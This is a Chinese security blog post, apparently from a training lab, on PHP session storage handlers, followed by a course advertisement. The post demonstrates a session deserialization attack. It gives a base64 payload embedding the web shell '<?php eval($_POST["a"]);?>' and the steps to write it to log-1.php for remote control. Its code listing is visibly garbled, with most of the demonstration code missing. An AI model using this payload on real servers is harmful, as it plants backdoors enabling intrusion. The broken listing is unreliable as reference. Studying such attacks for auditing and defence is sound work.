您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

一篇文章弄懂session的两种存储方式

合天网安实验室 发布时间:2021-09-30 16:20:00 ,浏览量:0

PHP中session有哪些存储方式?

根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式、PHP内部格式以及WDDX。

aedf5e562f65568569565c6bca455bb3.png

如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式。

本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。

还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。

php_serialize经过serialize()函数序列化数组php键名+竖线+经过serialize()函数处理的值php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值 php默认处理器与php序列化存储方式有哪些差异? php默认处理器

首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:

inc.php

';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>

得到结果:

fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=

首先访问index.php建立会话,然后将这一串传入cookie中的limit

a3fb649229b2d4195ae9fcc27da53380.png

再带参数访问check.php

check.php?u=123&pass=456

访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。

e69270b0bc7ab91deed86caae6812867.png

 实操推荐

PHP代码审计最佳实践:http://mrw.so/6sZzPs

代码审计是指对程序源代码进行检查、分析,寻找代码中的bug和安全漏洞,

代码审计是Web安全工程师必备的技能,也是企业安全运营者所需要的基础能力。通过本课程的理论学习和动手实践,你将学习到什么是代码安全审计、PHP代码审计的流程、PHP常见危险函数及特殊函数、不规范的编码会造成哪些Web安全漏洞以及如何修复这些漏洞。

401f2e9cee204e14faf784e0f08be356.gif

戳“阅读原文”体验免费靶场!

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0400s